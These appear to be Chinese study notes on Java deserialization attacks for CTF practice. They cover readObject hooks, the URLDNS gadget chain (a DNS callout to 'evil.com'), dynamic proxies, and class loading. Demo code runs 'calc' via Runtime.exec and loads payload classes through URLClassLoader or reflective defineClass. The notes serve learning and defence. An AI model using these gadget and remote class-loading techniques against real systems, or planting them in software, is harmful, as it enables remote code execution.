结构 jar(Java Archive)文件,是一个打包了Java类文件、资源文件(如配置文件、图片)、元数据(如MANIFEST.MF)等的zip格式归档文件
BOOT-INF是Spring Boot打包后特有的目录结构,一般出现在可执行JAR中
Spring Boot的标准打包结构中:
。。。
反序列化 主要的是ObjectInputStream
序列化和反序列化协议
XML&SOAP
JSON(Javascript Object Notation)
Protobuf
实现 原生:
Serializable接口:标记 类可被序列化
ObjectOutputStream.writeObject():序列化
ObjectInputStream.readObject():反序列化
serialVersionUID:版本控制
注意:
只有implements Serializable的类才能实现序列化;
同时writeObject()和readObject()是可以被重写的
静态的属性(属于类)不会被序列化(对对象进行操作)
对成员属性赋transient,表示不需要被序列化
风险出现
入口类,修改了readObject ,使得直接调用危险函数【unserialize需要调用到readObject,会先判断是否重写,重写了的话就用重写的】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import java.io.*;class Person implements Serializable { String name; int age; public Person (String name, int age) { this .name = name; this .age = age; } @Override public String toString () { return "Person: " + name + ", age: " + age; } private void readObject (ObjectInputStream in) throws IOException, ClassNotFoundException { in.defaultReadObject(); Runtime.getRuntime().exec("calc" ); } } public class serialization { public static void serialize (Person person) throws IOException { ObjectOutputStream out = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); out.writeObject(person); } public static void main (String[] args) throws Exception{ Person person = new Person ("xxx" , 18 ); serialize(person); } } import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class unserialize { public static Object deserialize (String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (Filename)); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception { Person person = (Person)deserialize("ser.bin" ); System.out.println(person); } }
入口类 source一个类(调用常见函数,JDK自带,参数类型广泛,重写了readObject——eg:HashMap类)
入口
调用链 gadget chain相同名称、类型
执行类sink (RCE、ssrf、写文件)
[!TIP]
Gadget chain是指一系列类的串联调用路径,从反序列化入口 触发,通过层层方法调用,最终抵达一个危险方法
Sink是整条链的终点(危险操作 )
应用:
定制需要的对象,改值
通过invoke调用除了同名函数外的函数
通过Class类创建对象,引入不能序列化的类(Class可以被序列化,eg:Runtime)
HashMap实现这里是利用URL.hashCode()的副作用(触发网络请求)
+HashMap的反序列化机制实现远程攻击
HashMap反序列化HashMap自定义了readObject/writeObject
[!TIP]
且HashMap的readObject/writeObject都是private,避免了其他类继承HashMap时继承了这两个重写的方法
URL.hashCode()会触发网络操作
1 2 3 4 5 6 7 public synchronized int hashCode () { if (hashCode != -1 ) return hashCode; hashCode = handler.hashCode(this ); return hashCode; }
会在handler.hashCode(this)触发DNS解析/网络连接
==> 通过代码分析,我们通过反射操控hashCode=-1使得触发DNS
链 1 2 3 4 5 6 7 8 9 10 11 HashMap<URL, Integer> hashmap = new HashMap <URL, Integer>(); URL url = new URL ("xxx" );Class c = url.getClass();Field hashcodefield = c.getDeclaredField("hashCode" );hashcodefield.setAccessible(true ); hashcodefield.set(url,1234 ); hashmap.put(url,1 ); hashcodefield.set(url, -1 ); serialize(hashmap);
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 sequenceDiagram participant A as 攻击者构造 participant B as 序列化 participant C as 服务器反序列化 A->>A: 1. 创建 URL("http://evil.com") A->>A: 2. 反射设 hashCode=1234(避免本地触发) A->>A: 3. map.put(url, 1) → 调用 url.hashCode()=1234(安全) A->>A: 4. 反射改回 hashCode=-1(埋炸弹) A->>B: 5. serialize(map) → 写入 URL 对象(含 hashCode=-1) B->>C: 6. 传输序列化数据 C->>C: 7. readObject() 读取 URL 对象(hashCode=-1) C->>C: 8. putVal(hash(key), ...) → 调用 key.hashCode() C->>C: 9. URL.hashCode() → hashCode==-1 → handler.hashCode() C->>C: 10. 触发 DNS 查询到 evil.com 💥
动态代理实现加代码 代理 代理:不修改原有代码,增加功能
静态代理:
定义一个接口(或父类),声明业务方法。
目标类实现该接口,提供真实业务逻辑。
代理类也实现同一接口,并持有目标对象的引用,在调用目标方法前后添加增强逻辑。【代理类中有目标类对象】
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 // 接口 public interface UserService { void addUser(String username); } // 目标类 public class UserServiceImpl implements UserService { @Override public void addUser(String username) { System.out.println("添加用户:" + username); } } // 静态代理类 public class UserServiceProxy implements UserService { private UserService target; // 持有目标对象 public UserServiceProxy(UserService target) { this.target = target; } @Override public void addUser(String username) { System.out.println("前置日志:准备添加用户"); target.addUser(username); // 调用目标方法 System.out.println("后置日志:用户添加完成"); } } // 使用 public class Client { public static void main(String[] args) { UserService target = new UserServiceImpl(); UserService proxy = new UserServiceProxy(target); proxy.addUser("张三"); } }
缺点:
代理类与目标类实现相同接口,导致代码冗余。如果接口新增方法,代理类和目标类都需要修改。
一个代理类只能服务于一个接口,如果需要代理多个类,就需要编写多个代理类,维护成本高。
动态代理: 减少代码量,更适配
JDK动态代理基于接口 实现,使用 java.lang.reflect.Proxy 类和 java.lang.reflect.InvocationHandler 接口。
原理
通过 Proxy.newProxyInstance() 方法在运行时生成一个实现了指定接口的代理类。
代理类的方法调用会被转发到 InvocationHandler 的 invoke 方法,在 invoke 中可以添加增强逻辑并调用目标方法。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;interface UserService { void add () ; void delete () ; } class UserServiceImpl implements UserService { @Override public void add () { System.out.println("UserServiceImpl.add" ); } public void delete () { System.out.println("UserServiceImpl.delete" ); } } class JdkProxy implements InvocationHandler { private Object target; public JdkProxy (Object target) { this .target = target; } @Override public Object invoke (Object proxy, Method method, Object[] args) throws Throwable{ System.out.println("JdkProxy.invoke" ); Object result = method.invoke(target, args); System.out.println("JdkProxy.invoke" ); return result; } public static Object createProxy (Object target) { return Proxy.newProxyInstance( target.getClass().getClassLoader(), target.getClass().getInterfaces(), new JdkProxy (target) ); } } public class proxy_Handler { public static void main (String[] args) { UserServiceImpl user = new UserServiceImpl (); user.add(); UserService proxy = (UserService) JdkProxy.createProxy(user); proxy.add(); } }
UserService 是业务接口,定义了 addUser 方法。
UserServiceImpl 是目标类,实现了接口中的方法。
JdkProxyHandler 实现了 InvocationHandler,在 invoke 方法中添加了前置和后置处理逻辑,并调用目标方法。
Client 类中通过 JdkProxyHandler.createProxy(target) 获取代理对象,然后调用方法时会自动 触发 invoke 中的增强逻辑。
[!NOTE]
用接口类 来接收代理,目标对象 来传递数据
动态代理生成的代理对象是运行到 创建的新类的实例
InvocationHandler(你的 proxy 类)只是负责处理方法的回调,它本身不是代理对象。
代理对象是实际接收方法调用的“替身”,它将所有调用转发给 InvocationHandler 的 invoke 方法。
为了保证透明性,代理对象的类型必须与目标对象的接口兼容,这样客户端代码才能用接口替换真实对象。
利用 InvocationHandler.readObject()
CommonsCollections + AnnotationInvocationHandler
类加载机制 类加载 类加载过程的时候会执行代码
初始化 和使用 过程会调用代码
初始化:执行 静态代码块 [不会执行静态方法]
实例化:执行 构造代码块、无参构造代码函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 public class ClassLoaderTest { static int id; public ClassLoaderTest () { System.out.println("无参构造" ); } public ClassLoaderTest (int id) { System.out.println("有参构造" ); } public static void setid () { System.out.println("静态方法" ); } { System.out.println("构造代码块" ); } static { System.out.println("静态代码块" ); } public static void main (String[] args) { Class c = Person.class; } }
[!IMPORTANT]
动态类加载方法
1 2 3 4 5 6 7 8 9 10 11 12 13 Class.forName("..." ); ClassLoader cl = ClassLoader.getSystemClassLoader();Class<?> c = Class.forName("..." , false , cl); c.newInstance();
ClassLoader1 2 ClassLoader cl = ClassLoader.getSystemClassLoader();System.out.println(cl);
双亲委派类加载器
启动类加载器(Bootstrap ClassLoader):它负责将存放在%JAVA_HOME%\lib目录中的,或者被-Xbootclasspath参数所指定的路径中的,并且是JVM识别的类库加载到JVM内存中。它仅按照文件名识别,如rt.jar,名字不符合的类库即使放在lib目录中也不会被加载。它是由C++语言实现的,无法被Java程序直接引用。
扩展类加载器(Extension ClassLoader):它负责加载%JAVA_HOME%\lib\ext目录中的,或者被java.ext.dirs系统变量所指定的路径中的所有类库。它由sun.misc.Launcher.ExtClassLoader实现,开发者可以直接使用扩展类加载器。
应用程序类加载器(Application ClassLoader):它负责加载用户类路径 (ClassPath)上所指定的类库。由于它是ClassLoader中的getSystemClassLoader()方法的返回值 ,所以一般也称它为系统类加载器。它由sun.misc.Launcher.AppClassLoader来实现,开发者可以直接使用这个类加载器,如果应用程序中没有自定义过自己的类加载器,一般情况下这个就是程序中默认的类加载器。
[!IMPORTANT]
除了顶层的启动类加载器外,其余的类加载器都必须有自己的父类加载器 。类加载器之间的父子关系,一般不会以继承的关系来实现,而是都使用组合关系 来复用父类加载器。
——不是继承关系,实际上是通过parent引用来形成层次;只是向上查询
1 2 3 4 5 区分 java父类 和 父加载器 所有类加载器(除了Bootstrap)都是java.lang.ClassLoader的子类 ——有自己的真正**继承**上的父类
类加载器收到类加载的请求后,它不会首先自己去尝试加载这个类,而是把这个请求委派给父类加载器去尝试加载 。每一个类加载器都是如此,因此所有的加载请求最终都应该传送到顶层的启动类加载器中。只有当父类加载器反馈自己无法完成这个加载请求(它的搜索范围中没有找到所需的类)时,子加载器才会尝试自己去加载。这样就保证了类在JVM中的唯一性,也保证了Java程序稳定运作。
利用 1 2 3 Class<?> c = cl.LoaderClass("..." ); c.newInstance();
通过这样操作实现加载任意类
1 2 3 4 5 6 7 8 ClassLoader(java.lang)-> SecureClassLoader(java.security)-> URLClassLoader(java.net)-> AppClassLoader(sun.misc) loadClass->findClass(重写方法)->defineClass(从字节码加载类)
思路1URLClassLoader URLClassLoader获取路径 (file:///、http://、jar:file:///.../.jar等)
==>loadClass加载.class文件
1 自己开http,在目标机上输入代码来加载恶意的payload
程序1 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import sun.misc.Launcher;import java.net.MalformedURLException;import java.net.URL;import java.net.URLClassLoader;public class ClassLoaderTest { public static void main (String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException { URLClassLoader urlClassLoader = new URLClassLoader (new URL []{new URL ("file:///C:\\Users\\vk\\Desktop\\JAVA_ctf_test\\serialize\\test\\" )}); Class<?> c = urlClassLoader.loadClass("exec_payloader" ); c.newInstance(); } }
程序2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 import sun.misc.Launcher;import java.net.MalformedURLException;import java.net.URL;import java.net.URLClassLoader;public class ClassLoaderTest { public static void main (String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException { URLClassLoader urlClassLoader = new URLClassLoader (new URL []{new URL ("http://localhost:8089" )}); Class<?> c = urlClassLoader.loadClass("Hello" ); c.newInstance(); } }
附件 Hello.java
1 2 3 4 5 6 7 8 9 10 public class Hello { static { System.out.println("Hello World" ); } public static void main (String[] args) { } }
exec_payloader
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 //exec_payloader import java.io.IOException; public class exec_payloader { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } } public static void main(String[] args) throws IOException { // Runtime.getRuntime().exec("calc"); } }
思路2defineClass 传字节码形式
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 import sun.misc.Launcher;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;import java.net.MalformedURLException;import java.net.URL;import java.net.URLClassLoader;import java.nio.file.Files;import java.nio.file.Paths;public class ClassLoaderTest { public static void main (String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException { ClassLoader cl = ClassLoader.getSystemClassLoader(); Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class); defineClassMethod.setAccessible(true ); byte [] code = Files.readAllBytes(Paths.get("C:\\Users\\vk\\Desktop\\JAVA_ctf_test\\serialize\\test\\exec_payloader.class" )); Class c = (Class)defineClassMethod.invoke(cl,"exec_payloader" ,code,0 ,code.length); c.newInstance(); } }
——更通用,因为是直接传字节码形式